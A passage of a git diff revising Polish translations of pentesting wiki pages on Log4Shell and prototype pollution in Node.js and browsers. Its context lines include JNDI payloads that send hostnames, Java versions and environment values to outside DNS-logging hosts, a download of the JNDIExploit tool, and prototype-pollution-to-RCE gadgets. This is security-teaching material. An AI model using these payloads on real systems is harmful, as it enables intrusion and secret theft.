Umożliwia **zdalne wykonanie kodu (RCE)**, co pozwala napastnikom na przejęcie systemów. Problem został zgłoszony przez Chena Zhaojuna z zespołu bezpieczeństwa Alibaba Cloud i wpływa na różne frameworki Apache. Początkowa poprawka w wersji 2.15.0 była niekompletna. Zasady Sigma dla obrony są dostępne ([Reguła 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j_fields.yml), [Reguła 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j.yml)). +Ta luka jest krytyczną **wadą nieufnej deserializacji** w komponencie `log4j-core`, wpływającą na wersje od 2.0-beta9 do 2.14.1. Umożliwia **zdalne wykonanie kodu (RCE)**, umożliwiając napastnikom przejęcie systemów. Problem został zgłoszony przez Chena Zhaojuna z zespołu bezpieczeństwa Alibaba Cloud i wpływa na różne frameworki Apache. Początkowa poprawka w wersji 2.15.0 była niekompletna. Zasady Sigma dla obrony są dostępne ([Reguła 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j_fields.yml), [Reguła 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j.yml)). ### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Krytyczne]** -Początkowo oceniana jako niska, ale później podniesiona do krytycznej, ta luka CVE jest **wadą Denial of Service (DoS)** wynikającą z niekompletnej poprawki w 2.15.0 dla CVE-2021-44228. Wpływa na konfiguracje nie domyślne, umożliwiając napastnikom przeprowadzanie ataków DoS za pomocą stworzonych ładunków. [Tweet](https://twitter.com/marcioalm/status/1471740771581652995) pokazuje metodę obejścia. Problem został rozwiązany w wersjach 2.16.0 i 2.12.2 poprzez usunięcie wzorców wyszukiwania wiadomości i domyślne wyłączenie JNDI. +Początkowo oceniana jako niska, ale później podniesiona do krytycznej, ta luka CVE jest **wadą Denial of Service (DoS)** wynikającą z niekompletnej poprawki w 2.15.0 dla CVE-2021-44228. Dotyczy to konfiguracji nie domyślnych, umożliwiając napastnikom przeprowadzanie ataków DoS za pomocą stworzonych ładunków. [Tweet](https://twitter.com/marcioalm/status/1471740771581652995) pokazuje metodę obejścia. Problem został rozwiązany w wersjach 2.16.0 i 2.12.2 poprzez usunięcie wzorców wyszukiwania wiadomości i domyślne wyłączenie JNDI. ### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[Wysoka]** @@ -107,7 +107,7 @@ Dotyczy **wersji Log4j 1.x** w konfiguracjach nie domyślnych używających `JMS ### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Umiarkowana]** -Ta luka wpływa na **framework rejestrowania Logback**, następcę Log4j 1.x. Wcześniej uważany za bezpieczny, framework okazał się podatny, a nowe wersje (1.3.0-alpha11 i 1.2.9) zostały wydane w celu rozwiązania problemu. +Ta luka dotyczy **frameworka logowania Logback**, następcy Log4j 1.x. Wcześniej uważany za bezpieczny, framework okazał się podatny, a nowe wersje (1.3.0-alpha11 i 1.2.9) zostały wydane w celu rozwiązania problemu. ### **CVE-2021-45105** **\[Wysoka]** @@ -115,7 +115,7 @@ Log4j 2.16.0 zawiera lukę DoS, co skłoniło do wydania `log4j 2.17.0` w celu n ### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/) -Dotyczy wersji log4j 2.17, ta luka CVE wymaga, aby napastnik kontrolował plik konfiguracyjny log4j. Dotyczy potencjalnego zdalnego wykonania kodu za pośrednictwem skonfigurowanego JDBCAppender. Więcej szczegółów znajduje się w [poście na blogu Checkmarx](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/). +Dotyczy wersji log4j 2.17, ta luka CVE wymaga, aby napastnik kontrolował plik konfiguracyjny log4j. Dotyczy to potencjalnego zdalnego wykonania kodu za pośrednictwem skonfigurowanego JDBCAppender. Więcej szczegółów znajduje się w [poście na blogu Checkmarx](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/). ## Wykorzystanie Log4Shell @@ -129,7 +129,7 @@ Ta luka jest bardzo łatwa do odkrycia, jeśli jest niechroniona, ponieważ wyś - `${jndi:ldap://2j4ayo.dnslog.cn}` (używając [dnslog](http://dnslog.cn)) - `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` (używając [huntress](https://log4shell.huntress.com)) -Zauważ, że **nawet jeśli otrzymane zostanie żądanie DNS, nie oznacza to, że aplikacja jest podatna** (ani nawet wrażliwa), będziesz musiał spróbować ją wykorzystać. +Zauważ, że **nawet jeśli otrzymane zostanie żądanie DNS, nie oznacza to, że aplikacja jest podatna** (lub nawet wrażliwa), będziesz musiał spróbować ją wykorzystać. > [!NOTE] > Pamiętaj, że aby **wykorzystać wersję 2.15**, musisz dodać **obejście sprawdzania localhost**: ${jndi:ldap://**127.0.0.1#**...} @@ -142,11 +142,11 @@ find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[ ``` ### **Weryfikacja** -Niektóre z wymienionych wcześniej platform pozwolą Ci na wprowadzenie zmiennych danych, które będą rejestrowane, gdy zostaną zażądane.\ -Może to być bardzo przydatne w 2 rzeczach: +Niektóre z wcześniej wymienionych platform pozwolą Ci na wprowadzenie zmiennych danych, które będą rejestrowane, gdy zostaną zażądane.\ +Może to być bardzo przydatne w 2 przypadkach: - Aby **zweryfikować** podatność -- Aby **ekstrahować informacje** wykorzystując podatność +- Aby **wyeksportować informacje** wykorzystując podatność Na przykład możesz zażądać czegoś takiego:\ lub jak `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** i jeśli **otrzymasz żądanie DNS z wartością zmiennej env**, wiesz, że aplikacja jest podatna. @@ -205,7 +205,7 @@ Any other env variable name that could store sensitive information ### RCE Information > [!NOTE] -> Hosty działające na wersjach JDK powyżej 6u141, 7u131 lub 8u121 są zabezpieczone przed wektorem ataku ładowania klas LDAP. Wynika to z domyślnej dezaktywacji `com.sun.jndi.ldap.object.trustURLCodebase`, co zapobiega ładowaniu zdalnej bazy kodu przez JNDI za pomocą LDAP. Jednak ważne jest, aby zauważyć, że te wersje **nie są chronione przed wektorem ataku deserializacji**. +> Hosty działające na wersjach JDK powyżej 6u141, 7u131 lub 8u121 są zabezpieczone przed wektorem ataku ładowania klas LDAP. Wynika to z domyślnej dezaktywacji `com.sun.jndi.ldap.object.trustURLCodebase`, która zapobiega ładowaniu zdalnej bazy kodu przez JNDI za pomocą LDAP. Jednak ważne jest, aby zauważyć, że te wersje **nie są chronione przed wektorem ataku deserializacji**. > > Dla atakujących, którzy chcą wykorzystać te wyższe wersje JDK, konieczne jest wykorzystanie **zaufanego gadżetu** w aplikacji Java. Narzędzia takie jak ysoserial lub JNDIExploit są często używane w tym celu. Z drugiej strony, wykorzystanie niższych wersji JDK jest stosunkowo łatwiejsze, ponieważ te wersje można manipulować, aby ładować i wykonywać dowolne klasy. > @@ -248,7 +248,7 @@ ${jndi:ldap://:1389/Exploit} W tym przykładzie możesz po prostu uruchomić ten **vulnerable web server to log4shell** na porcie 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_w README znajdziesz, jak to uruchomić_). Ta podatna aplikacja rejestruje zawartość nagłówka żądania HTTP _X-Api-Version_ za pomocą podatnej wersji log4shell. -Następnie możesz pobrać plik jar **JNDIExploit** i wykonać go za pomocą: +Następnie możesz pobrać plik jar **JNDIExploit** i uruchomić go za pomocą: ```bash wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip unzip JNDIExploit.v1.2.zip @@ -363,7 +363,7 @@ Na przykład, w tym CTF było to skonfigurowane w pliku log4j2.xml: ### Env Lookups W [tym CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) atakujący kontrolował wartość `${sys:cmd}` i musiał wyekstrahować flagę z zmiennej środowiskowej.\ -Jak widać na tej stronie w [**poprzednich ładunkach**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification), istnieje kilka sposobów dostępu do zmiennych środowiskowych, takich jak: **`${env:FLAG}`**. W tym CTF było to bezużyteczne, ale może być przydatne w innych rzeczywistych scenariuszach. +Jak widać na tej stronie w [**poprzednich ładunkach**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification), istnieje kilka sposobów dostępu do zmiennych środowiskowych, takich jak: **`${env:FLAG}`**. W tym CTF było to bezużyteczne, ale może nie być w innych rzeczywistych scenariuszach. ### Exfiltration in Exceptions @@ -373,7 +373,7 @@ W CTF **nie mogłeś uzyskać dostępu do stderr** aplikacji java używającej l ### Conversion Patterns Exceptions -Warto to wspomnieć, można również wstrzyknąć nowe [**wzorce konwersji**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) i wywołać wyjątki, które będą rejestrowane w `stdout`. Na przykład: +Tylko aby to wspomnieć, można również wstrzyknąć nowe [**wzorce konwersji**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) i wywołać wyjątki, które będą rejestrowane w `stdout`. Na przykład: ![](<../../images/image (683).png>) @@ -381,12 +381,12 @@ To nie było uznawane za przydatne do wyekstrahowania daty wewnątrz komunikatu ### Conversion Patterns Regexes -Jednak możliwe jest użycie niektórych **wzorców konwersji, które obsługują regexy**, aby wyekstrahować informacje z wyszukiwania, używając regexów i nadużywając **wyszukiwania binarnego** lub **zachowań opartych na czasie**. +Jednak możliwe jest użycie niektórych **wzorców konwersji, które wspierają regexy**, aby wyekstrahować informacje z wyszukiwania, używając regexów i nadużywając **wyszukiwania binarnego** lub **zachowań opartych na czasie**. - **Wyszukiwanie binarne za pomocą komunikatów o wyjątkach** Wzorzec konwersji **`%replace`** może być użyty do **zamiany** **treści** w **ciągu** nawet przy użyciu **regexów**. Działa to w ten sposób: `replace{pattern}{regex}{substitution}`\ -Nadużywając tego zachowania, możesz sprawić, że zamiana **wywoła wyjątek, jeśli regex dopasuje** cokolwiek w ciągu (i brak wyjątku, jeśli nie zostanie znalezione) w ten sposób: +Nadużywając tego zachowania, można sprawić, że zamiana **wywoła wyjątek, jeśli regex dopasuje** cokolwiek w ciągu (i brak wyjątku, jeśli nie zostanie znalezione) w ten sposób: ```bash %replace{${env:FLAG}}{^CTF.*}{${error}} # The string searched is the env FLAG, the regex searched is ^CTF.* @@ -394,7 +394,7 @@ Nadużywając tego zachowania, możesz sprawić, że zamiana **wywoła wyjątek, ``` - **Czasowe** -Jak wspomniano w poprzedniej sekcji, **`%replace`** obsługuje **regexy**. Możliwe jest więc użycie ładunku z [**strony ReDoS**](../regular-expression-denial-of-service-redos.md), aby spowodować **przekroczenie czasu**, jeśli flaga zostanie znaleziona.\ +Jak wspomniano w poprzedniej sekcji, **`%replace`** obsługuje **regexy**. Możliwe jest więc użycie ładunku z [**strony ReDoS**](../regular-expression-denial-of-service-redos.md), aby spowodować **przekroczenie czasu** w przypadku znalezienia flagi.\ Na przykład, ładunek taki jak `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` spowodowałby **przekroczenie czasu** w tym CTF. W tym [**opisie**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), zamiast używać ataku ReDoS, użyto **ataku amplifikacyjnego**, aby spowodować różnicę czasową w odpowiedzi: diff --git a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md index 1ebb2932d..ada59b2f9 100644 --- a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md +++ b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md @@ -35,7 +35,7 @@ employee1.__proto__ JavaScript pozwala na modyfikację, dodawanie lub usuwanie atrybutów prototypu w czasie rzeczywistym. Ta elastyczność umożliwia dynamiczne rozszerzanie funkcjonalności klas. -Funkcje takie jak `toString` i `valueOf` mogą być zmieniane, aby zmienić ich zachowanie, co demonstruje elastyczny charakter systemu prototypów JavaScript. +Funkcje takie jak `toString` i `valueOf` mogą być zmieniane, aby zmienić ich zachowanie, co pokazuje elastyczny charakter systemu prototypów JavaScript. ## Dziedziczenie @@ -47,9 +47,9 @@ Należy zauważyć, że gdy właściwość jest dodawana do obiektu pełniącego ## Badanie zanieczyszczenia prototypu w JavaScript -Obiekty JavaScript są definiowane przez pary klucz-wartość i dziedziczą z prototypu obiektu JavaScript. Oznacza to, że modyfikacja prototypu obiektu może wpływać na wszystkie obiekty w środowisku. +Obiekty JavaScript są definiowane przez pary klucz-wartość i dziedziczą z prototypu obiektu JavaScript. Oznacza to, że zmiana prototypu obiektu może wpływać na wszystkie obiekty w środowisku. -Użyjmy innego przykładu, aby to zilustrować: +Użyjmy innego przykładu, aby to zobrazować: ```javascript function Vehicle(model) { this.model = model @@ -232,7 +232,7 @@ Ta luka, zidentyfikowana jako CVE-2019–11358, ilustruje, jak głębokie kopiow ### Narzędzia do wykrywania zanieczyszczenia prototypu -- [**Server-Side-Prototype-Pollution-Gadgets-Scanner**](https://github.com/doyensec/Server-Side-Prototype-Pollution-Gadgets-Scanner): Rozszerzenie Burp Suite zaprojektowane do wykrywania i analizy luk zanieczyszczenia prototypu po stronie serwera w aplikacjach internetowych. To narzędzie automatyzuje proces skanowania żądań w celu zidentyfikowania potencjalnych problemów z zanieczyszczeniem prototypu. Wykorzystuje znane gadżety - metody wykorzystania zanieczyszczenia prototypu do wykonywania szkodliwych działań - szczególnie koncentrując się na bibliotekach Node.js. +- [**Server-Side-Prototype-Pollution-Gadgets-Scanner**](https://github.com/doyensec/Server-Side-Prototype-Pollution-Gadgets-Scanner): Rozszerzenie Burp Suite zaprojektowane do wykrywania i analizy luk zanieczyszczenia prototypu po stronie serwera w aplikacjach internetowych. To narzędzie automatyzuje proces skanowania żądań w celu zidentyfikowania potencjalnych problemów z zanieczyszczeniem prototypu. Wykorzystuje znane gadżety - metody wykorzystywania zanieczyszczenia prototypu do wykonywania szkodliwych działań - szczególnie koncentrując się na bibliotekach Node.js. - [**server-side-prototype-pollution**](https://github.com/portswigger/server-side-prototype-pollution): To rozszerzenie identyfikuje luki zanieczyszczenia prototypu po stronie serwera. Wykorzystuje techniki opisane w [zanieczyszczeniu prototypu po stronie serwera](https://portswigger.net/research/server-side-prototype-pollution). ### Zanieczyszczenie prototypu AST w NodeJS @@ -281,9 +281,9 @@ console.log(eval("(" + template + ")")["main"].toString()) ``` Ten kod pokazuje, jak atakujący może wstrzyknąć dowolny kod do szablonu Handlebars. -**External Reference**: Zidentyfikowano problem związany z zanieczyszczeniem prototypu w bibliotece 'flat', jak opisano tutaj: [Issue on GitHub](https://github.com/hughsk/flat/issues/105). +**Zewnętrzne odniesienie**: Problem związany z zanieczyszczeniem prototypu został znaleziony w bibliotece 'flat', jak szczegółowo opisano tutaj: [Issue on GitHub](https://github.com/hughsk/flat/issues/105). -**External Reference**: [Issue related to prototype pollution in the 'flat' library](https://github.com/hughsk/flat/issues/105) +**Zewnętrzne odniesienie**: [Issue related to prototype pollution in the 'flat' library](https://github.com/hughsk/flat/issues/105) Przykład wykorzystania zanieczyszczenia prototypu w Pythonie: ```python @@ -341,10 +341,10 @@ Aby zmniejszyć ryzyko zanieczyszczenia prototypu, można zastosować poniższe 3. **Bezpieczne funkcje scalania**: Należy unikać niebezpiecznego użycia rekurencyjnych funkcji scalania. 4. **Obiekty bez prototypu**: Obiekty bez właściwości prototypu można tworzyć za pomocą `Object.create(null)`. 5. **Użycie Map**: Zamiast `Object`, należy używać `Map` do przechowywania par klucz-wartość. -6. **Aktualizacje bibliotek**: Łaty bezpieczeństwa można wprowadzać poprzez regularne aktualizowanie bibliotek. -7. **Narzędzia lintera i analizy statycznej**: Używaj narzędzi takich jak ESLint z odpowiednimi wtyczkami, aby wykrywać i zapobiegać lukom związanym z zanieczyszczeniem prototypu. +6. **Aktualizacje bibliotek**: Łatki bezpieczeństwa można wprowadzać poprzez regularne aktualizowanie bibliotek. +7. **Narzędzia do analizy statycznej i lintery**: Używaj narzędzi takich jak ESLint z odpowiednimi wtyczkami, aby wykrywać i zapobiegać lukom związanym z zanieczyszczeniem prototypu. 8. **Przeglądy kodu**: Wprowadź dokładne przeglądy kodu, aby zidentyfikować i usunąć potencjalne ryzyka związane z zanieczyszczeniem prototypu. -9. **Szkolenie w zakresie bezpieczeństwa**: Edukuj programistów na temat ryzyk związanych z zanieczyszczeniem prototypu oraz najlepszych praktyk pisania bezpiecznego kodu. +9. **Szkolenie w zakresie bezpieczeństwa**: Edukuj programistów o ryzykach związanych z zanieczyszczeniem prototypu i najlepszych praktykach pisania bezpiecznego kodu. 10. **Ostrożne korzystanie z bibliotek**: Bądź ostrożny podczas korzystania z bibliotek osób trzecich. Oceń ich bezpieczeństwo i przeglądaj ich kod, szczególnie te, które manipulują obiektami. 11. **Ochrona w czasie wykonywania**: Wprowadź mechanizmy ochrony w czasie wykonywania, takie jak użycie pakietów npm skoncentrowanych na bezpieczeństwie, które mogą wykrywać i zapobiegać atakom zanieczyszczenia prototypu. diff --git a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md index 4a1b8bcd7..55678a073 100644 --- a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md +++ b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md @@ -27,7 +27,7 @@ Dla większych i bardziej złożonych baz kodu, prostą metodą na odkrycie wra 1. Użyj narzędzia do zidentyfikowania luki i uzyskaj ładunek zaprojektowany do ustawienia właściwości w konstruktorze. Przykład podany przez ppmap może wyglądać następująco: `constructor[prototype][ppmap]=reserved`. 2. Ustaw punkt przerwania na pierwszej linii kodu JavaScript, która zostanie wykonana na stronie. Odśwież stronę z ładunkiem, wstrzymując wykonanie w tym punkcie przerwania. -3. Gdy wykonanie JavaScript jest wstrzymane, wykonaj następujący skrypt w konsoli JS. Ten skrypt zasygnalizuje, kiedy właściwość 'ppmap' zostanie utworzona, co pomoże w zlokalizowaniu jej pochodzenia: +3. Gdy wykonanie JavaScript jest wstrzymane, uruchom następujący skrypt w konsoli JS. Ten skrypt zasygnalizuje, kiedy właściwość 'ppmap' zostanie utworzona, co pomoże w zlokalizowaniu jej pochodzenia: ```javascript function debugAccess(obj, prop, debugGet = true) { var origValue = obj[prop] @@ -46,9 +46,9 @@ origValue = val debugAccess(Object.prototype, "ppmap") ``` -4. Wróć do zakładki **Sources** i wybierz „Wznów wykonywanie skryptu”. JavaScript będzie kontynuował wykonywanie, a właściwość 'ppmap' zostanie zanieczyszczona zgodnie z oczekiwaniami. Wykorzystanie dostarczonego fragmentu ułatwia identyfikację dokładnej lokalizacji, w której właściwość 'ppmap' jest zanieczyszczona. Analizując **Call Stack**, można zaobserwować różne stosy, w których wystąpiło zanieczyszczenie. +4. Wróć do zakładki **Sources** i wybierz „Wznów wykonywanie skryptu”. JavaScript będzie kontynuował wykonywanie, a właściwość 'ppmap' zostanie zanieczyszczona zgodnie z oczekiwaniami. Wykorzystanie dostarczonego fragmentu kodu ułatwia identyfikację dokładnej lokalizacji, w której właściwość 'ppmap' jest zanieczyszczona. Analizując **Call Stack**, można zaobserwować różne stosy, w których wystąpiło zanieczyszczenie. -Decydując, który stos zbadać, często warto skupić się na stosach związanych z plikami bibliotek JavaScript, ponieważ zanieczyszczenie prototypu często występuje w tych bibliotekach. Zidentyfikuj odpowiedni stos, sprawdzając jego powiązanie z plikami bibliotek (widoczne po prawej stronie, podobnie jak na dostarczonym obrazie). W scenariuszach z wieloma stosami, takimi jak te na liniach 4 i 6, logicznym wyborem jest stos na linii 4, ponieważ reprezentuje on początkowe wystąpienie zanieczyszczenia, a tym samym pierwotną przyczynę podatności. Kliknięcie na stos przeniesie cię do podatnego kodu. +Decydując, który stos zbadać, często warto skupić się na stosach związanych z plikami bibliotek JavaScript, ponieważ zanieczyszczenie prototypu często występuje w tych bibliotekach. Zidentyfikuj odpowiedni stos, sprawdzając jego powiązanie z plikami bibliotek (widoczne po prawej stronie, podobnie jak na dostarczonym obrazie). W scenariuszach z wieloma stosami, takimi jak te w liniach 4 i 6, logicznym wyborem jest stos w linii 4, ponieważ reprezentuje on początkowe wystąpienie zanieczyszczenia, a tym samym pierwotną przyczynę podatności. Kliknięcie na stos przeniesie cię do podatnego kodu. ![https://miro.medium.com/max/1400/1*S8NBOl1a7f1zhJxlh-6g4w.jpeg](https://miro.medium.com/max/1400/1*S8NBOl1a7f1zhJxlh-6g4w.jpeg) @@ -67,9 +67,9 @@ Sprawdź ten artykuł: [https://blog.huli.tw/2022/05/02/en/intigriti-revenge-cha - [https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution) - [https://github.com/BlackFan/client-side-prototype-pollution](https://github.com/BlackFan/client-side-prototype-pollution) -## Obejście sanitariuszy HTML za pomocą PP +## Obejście sanitarnych filtrów HTML za pomocą PP -[**To badanie**](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/) pokazuje gadżety PP do **obejścia sanitizacji** zapewnianych przez niektóre biblioteki sanitariuszy HTML: +[**To badanie**](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/) pokazuje gadżety PP do **obejścia sanitacji** zapewnianych przez niektóre biblioteki filtrów HTML: - **sanitize-html** diff --git a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.md b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.md index c78645a99..5ef87c9b2 100644 --- a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.md +++ b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.md @@ -1,8 +1,8 @@ -# Gadżety Związane z Zanieczyszczeniem Prototypu w Express +# Gadżety Zanieczyszczenia Prototypu Express {{#include ../../../banners/hacktricks-training.md}} -## Serwowanie odpowiedzi XSS +## Serwuj odpowiedzi XSS **Aby uzyskać więcej szczegółów** [**zobacz oryginalne badania**](https://portswigger.net/research/server-side-prototype-pollution) @@ -42,7 +42,7 @@ Wtedy odzwierciedlony JSON będzie wyglądać następująco: ``` ### Exposed Headers -Następujący gadżet PP spowoduje, że serwer wyśle z powrotem nagłówek HTTP: **`Access-Control-Expose_headers: foo`** +Następujący gadżet PP spowoduje, że serwer wyśle nagłówek HTTP: **`Access-Control-Expose_headers: foo`** ```json { "__proto__": { "exposedHeaders": ["foo"] } } ``` @@ -67,7 +67,7 @@ Możliwe jest zmienienie **zwracanego kodu statusu** za pomocą następującego ``` ### Błąd -Kiedy przypisujesz do prototypu za pomocą prymitywu, takiego jak ciąg, produkuje to **operację no-op, ponieważ prototyp musi być obiektem**. Jeśli spróbujesz przypisać obiekt prototypu do samego `Object.prototype`, to **wyrzuci wyjątek**. Możemy użyć tych dwóch zachowań do **wykrycia, czy zanieczyszczenie prototypu było udane**: +Kiedy przypisujesz do prototypu z prymitywem, takim jak ciąg, produkuje to **operację no-op, ponieważ prototyp musi być obiektem**. Jeśli spróbujesz przypisać obiekt prototypu do samego `Object.prototype`, to **wyrzuci wyjątek**. Możemy użyć tych dwóch zachowań do **wykrycia, czy zanieczyszczenie prototypu było udane**: ```javascript ;({}).__proto__.__proto__ = {}( //throws type exception diff --git a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md index 9d9debf60..92b26c34d 100644 --- a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md +++ b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md @@ -41,7 +41,7 @@ var proc = fork("a_file.js") **PP2RCE** oznacza **Zanieczyszczenie prototypu do RCE** (Zdalne Wykonanie Kodu). -Zgodnie z tym [**opisem**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), gdy **proces jest uruchamiany** za pomocą jakiejś metody z **`child_process`** (takiej jak `fork` lub `spawn` lub innych), wywołuje metodę `normalizeSpawnArguments`, która jest **gadżetem zanieczyszczenia prototypu do tworzenia nowych zmiennych środowiskowych**: +Zgodnie z tym [**opisem**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), gdy **proces jest uruchamiany** za pomocą jakiejś metody z **`child_process`** (takiej jak `fork` lub `spawn` lub inne), wywołuje metodę `normalizeSpawnArguments`, która jest **gadżetem zanieczyszczenia prototypu do tworzenia nowych zmiennych środowiskowych**: ```javascript //See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686 @@ -66,7 +66,7 @@ Sprawdź ten kod, możesz zobaczyć, że możliwe jest **zatrucie `envPairs`** p ### **Zatrucie `__proto__`** > [!WARNING] -> Zauważ, że ze względu na to, jak działa funkcja **`normalizeSpawnArguments`** z biblioteki **`child_process`** w node, gdy coś jest wywoływane w celu **ustawienia nowej zmiennej env** dla procesu, wystarczy **zanieczyścić cokolwiek**.\ +> Zauważ, że z powodu działania funkcji **`normalizeSpawnArguments`** z biblioteki **`child_process`** w node, gdy coś jest wywoływane w celu **ustawienia nowej zmiennej env** dla procesu, wystarczy **zanieczyścić cokolwiek**.\ > Na przykład, jeśli zrobisz `__proto__.avar="valuevar"`, proces zostanie uruchomiony z zmienną o nazwie `avar` z wartością `valuevar`. > > Jednak aby **zmienna env była pierwsza**, musisz **zanieczyścić** **atrybut `.env`** i (tylko w niektórych metodach) ta zmienna będzie **pierwsza** (pozwalając na atak). @@ -125,7 +125,7 @@ var proc = fork("a_file.js") Podobny ładunek do poprzedniego z pewnymi zmianami został zaproponowany w [**tym artykule**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** Główne różnice to: - Zamiast przechowywać ładunek **nodejs** w pliku `/proc/self/environ`, przechowuje go **w argv0** pliku **`/proc/self/cmdline`**. -- Następnie, zamiast wymagać za pomocą **`NODE_OPTIONS`** pliku `/proc/self/environ`, **wymaga `/proc/self/cmdline`**. +- Następnie, zamiast wymagać pliku **`/proc/self/environ`** za pomocą **`NODE_OPTIONS`**, **wymaga `/proc/self/cmdline`**. ```javascript const { execSync, fork } = require("child_process") @@ -149,9 +149,9 @@ clone(USERINPUT) var proc = fork("a_file.js") // This should create the file /tmp/pp2rec ``` -## Interakcja z DNS +## Interakcja DNS -Używając poniższych ładunków, możliwe jest nadużycie zmiennej środowiskowej NODE_OPTIONS, o której rozmawialiśmy wcześniej, i sprawdzenie, czy zadziałała, poprzez interakcję z DNS: +Używając poniższych ładunków, możliwe jest nadużycie zmiennej środowiskowej NODE_OPTIONS, o której rozmawialiśmy wcześniej, i sprawdzenie, czy to zadziałało za pomocą interakcji DNS: ```json { "__proto__": { @@ -513,7 +513,7 @@ Dlatego, jeśli require jest wykonywane po twoim zanieczyszczeniu prototypu i ni #### Absolutny require -Jeśli wykonywany require jest **absolutny** (`require("bytes")`) i **pakiet nie zawiera main** w pliku `package.json`, możesz **zanieczyścić atrybut `main`** i sprawić, aby **require wykonał inny plik**. +Jeśli wykonywany require jest **absolutny** (`require("bytes")`) i **pakiet nie zawiera main** w pliku `package.json`, możesz **zanieczyścić atrybut `main`** i sprawić, że **require wykona inny plik**. {{#tabs}} {{#tab name="exploit"}} @@ -598,7 +598,7 @@ fork("/path/to/anything") #### Względne wymaganie - 2 {{#tabs}} -{{#tab name="eksploit"}} +{{#tab name="eksploatacja"}} ```javascript // Create a file called malicious.js in /tmp // Contents of malicious.js in the other tab @@ -661,7 +661,7 @@ require("./usage.js") ## Gadżety VM W artykule [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) wskazano również, że kontrola **`contextExtensions`** z niektórych metod biblioteki **`vm`** może być używana jako gadżet.\ -Jednak, podobnie jak poprzednie metody **`child_process`**, zostało to **naprawione** w najnowszych wersjach. +Jednak, podobnie jak poprzednie metody **`child_process`**, zostały one **naprawione** w najnowszych wersjach. ## Poprawki i niespodziewane zabezpieczenia @@ -670,7 +670,7 @@ Proszę zauważyć, że zanieczyszczenie prototypu działa, jeśli **atrybut** o W czerwcu 2022 roku z [**tego commita**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) zmienna `options` zamiast `{}` to **`kEmptyObject`**. Co **zapobiega zanieczyszczeniu prototypu** wpływającemu na **atrybuty** **`options`** w celu uzyskania RCE.\ Przynajmniej od wersji v18.4.0 to zabezpieczenie zostało **wdrożone**, a zatem **eksploity** `spawn` i `spawnSync` wpływające na metody **już nie działają** (jeśli nie używane są `options`!). -W [**tym commicie**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) **zanieczyszczenie prototypu** **`contextExtensions`** z biblioteki vm zostało **również częściowo naprawione**, ustawiając opcje na **`kEmptyObject`** zamiast **`{}`.** +W [**tym commicie**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) **zanieczyszczenie prototypu** **`contextExtensions`** z biblioteki vm zostało **również w pewnym sensie naprawione**, ustawiając opcje na **`kEmptyObject`** zamiast **`{}`.** ### **Inne Gadżety** diff --git 